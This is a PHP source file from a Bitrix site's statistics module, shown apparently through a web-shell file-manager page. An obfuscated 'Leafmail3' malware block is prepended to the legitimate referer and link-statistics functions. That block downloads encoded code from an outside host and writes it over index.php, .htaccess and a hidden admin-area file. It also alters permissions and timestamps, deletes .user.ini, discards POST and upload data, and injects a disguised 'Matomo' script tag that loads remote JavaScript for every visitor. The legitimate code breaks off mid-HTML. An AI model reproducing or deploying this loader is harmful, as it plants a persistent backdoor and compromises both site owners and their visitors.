Your IP : 18.188.30.161


Current Path : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/statistic/
Upload File :
Current File : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/statistic/stat_tools.php

<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
IncludeModuleLangFile(__FILE__);

// fix HTTP_REFERER, r1, r2 for  google ads
function __GoogleAd($set_new_adv=false, $r1=false, $r2=false, $s="http://pagead2.googlesyndication.com/")
{
	if (intval($_SESSION["SESS_SESSION_ID"])<=0 &&
		strlen($_SERVER["HTTP_REFERER"])>0 &&
		strncmp($s, $_SERVER["HTTP_REFERER"], strlen($s))==0)
	{
		$arr = parse_url($_SERVER["HTTP_REFERER"]);
		if (strlen($arr["query"])>0)
		{
			parse_str($arr["query"], $ar);
			if (strlen($ar["url"])>0)
			{
				$_SERVER["HTTP_REFERER"] = $ar["url"];
				if ($set_new_adv)
				{
					__SetReferer("referer1", "REFERER1_SYN");
					__SetReferer("referer2", "REFERER2_SYN");
					if (strlen($_SESSION["referer1"])<=0 && strlen($_SESSION["referer2"])<=0)
					{
						__GetReferringSite($protocol, $site_port, $site, $page, $_SERVER["HTTP_REFERER"]);
						$_SESSION["referer1"] = ($r1!==false) ? $r1 : "google_adwords";
						if ($r2!==false) $_SESSION["referer2"] = $r2;
						else
						{
							$_ar = explode(".", $site);
							if (is_array($_ar))
							{
								$_ar = array_reverse($_ar);
								$_SESSION["referer2"] = $_ar[1].".".$_ar[0];
							}
						}
					}
				}
				return true;
			}
		}
	}
	return false;
}

// returns referer site parameters
function __GetReferringSite(
	&$protocol, // http or https
	&$server_name, // www.site.ru:7900
	&$server_name_wo_port, // www.site.ru
	&$PAGE_FROM, // page with out site (uri)
	$URL_FROM = false
	)
{
	if($URL_FROM === false)
		$URL_FROM = $_SERVER["HTTP_REFERER"];

	if(!empty($URL_FROM))
	{
		$protocol = substr($URL_FROM, 0, 7);
		if($protocol == "http://")
		{
			$server_name = substr($URL_FROM, 7);
		}
		else
		{
			$protocol = substr($URL_FROM, 0, 8);
			if($protocol == "https://")
			{
				$server_name = substr($URL_FROM, 8);
			}
			else
			{
				$server_name = "";
				$protocol = "";
			}
		}

		if(!empty($server_name))
		{
			$p = strpos($server_name, "/");
			if($p > 0)
				$server_name = substr($server_name, 0, $p);

			$server_name = strtolower($server_name);

			$p = strpos($server_name,":");
			if($p > 0)
				$server_name_wo_port = substr($server_name, 0, $p);
			else
				$server_name_wo_port = $server_name;

			$PAGE_FROM = substr($URL_FROM, strlen($protocol.$server_name));
			if(strlen($PAGE_FROM) <= 0)
				$PAGE_FROM = "/";
		}

		return true;
	}
	else
	{
		return false;
	}
}

// referer1 and referer2 initialization
function __SetReferer($referer, $syn)
{
	stat_session_register($referer);
	global $$referer;
	if (strlen($_SESSION[$referer])<=0)
	{
		$_SESSION[$referer] = $$referer;
		$arr=explode(",",COption::GetOptionString("statistic", $syn));
		foreach ($arr as $s)
		{
			$s = trim($s);
			global $$s;
			if (strlen($$s)>0)
			{
				$_SESSION[$referer] = $$s;
				break;
			}
		}
	}
}

function __SetNoKeepStatistics()
{
	if (!isset($_SESSION["SESS_NO_KEEP_STATISTIC"]) || $_SESSION["SESS_NO_KEEP_STATISTIC"] == '')
	{
		$key_to_check = "no_keep_statistic_".LICENSE_KEY;
		if (isset($_REQUEST[$key_to_check]) && $_REQUEST[$key_to_check] <> '')
		{
			$_SESSION["SESS_NO_KEEP_STATISTIC"] = $_REQUEST[$key_to_check];
			if (!isset($_SESSION["SESS_NO_AGENT_STATISTIC"]) || $_SESSION["SESS_NO_AGENT_STATISTIC"] == '')
				$_SESSION["SESS_NO_AGENT_STATISTIC"] = $_REQUEST[$key_to_check];
		}
	}

	$key_to_check = "no_agent_statistic_".LICENSE_KEY;
	if (isset($_REQUEST[$key_to_check]) && $_REQUEST[$key_to_check] <> '')
	{
		if (!isset($_SESSION["SESS_NO_AGENT_STATISTIC"]) || $_SESSION["SESS_NO_AGENT_STATISTIC"] == '')
			$_SESSION["SESS_NO_AGENT_STATISTIC"] =  $_REQUEST[$key_to_check];
	}
}

function __SortLinkStat($ar1, $ar2)
{
	if ($ar1["CNT"]<$ar2["CNT"]) return 1;
	if ($ar1["CNT"]>$ar2["CNT"]) return -1;
	return 0;
}

function __IsHiddenLink($link)
{
	return preg_match("#(/bitrix/admin/|show_link_stat|bitrix_include_areas|logout|javascript)#", $link);
}

function __ModifyATags($matches)
{

	global $arHashLink;
	$link = $matches[3];

	if (strlen($link) && !__IsHiddenLink($link) && !preg_match("/<img/i", $matches[0]))
	{

		$link = __GetFullRequestUri(__GetFullCurPage($link));
		$crc32 = crc32ex($link);
		if(array_key_exists($crc32, $arHashLink))
		{
			$id = $arHashLink[$crc32]["ID"];
			$percent = $arHashLink[$crc32]["PERCENT"]."%";
			$cnt = $arHashLink[$crc32]["CNT"];
			$link = $arHashLink[$crc32]["LINK"];

			$title = str_replace("#CNT#", "$cnt", GetMessage("STAT_LABEL_TITLE"));
			$title = str_replace("#LINK#", "$link", $title);
			$title = str_replace("#PERCENT#", "$percent", $title);

			$max_width = 44;
			$wpx = round($max_width*($arHashLink[$crc32]["PERCENT"]/100.0));

			$tag = '
				<div style="position:relative; width:100%;">
					<div style="position:relative; border:black solid 1px; color:#FC9C05; width:100%; padding: 0px;" onmouseover="this.style.color=\'#000000\';"  onmouseout="this.style.color=\'#FC9C05\';">
					'.$matches[0].'
					</div>
					<div title="'.$title.'" OnClick="this.style.display=\'none\'" style="position:relative; z-index: 1; top: 0px; right: 0px; padding: 1px; width:100%; height: auto;" align="left">
						<table style="cursor:default; border:none; height:19px;" cellpadding="0" cellspacing="0" width="0%">
							<tr>
								<td style="padding:0px; border:none;">
								<table style="border-collapse:collapse;" cellpadding="0" cellspacing="0" width="0%">
									<tr>
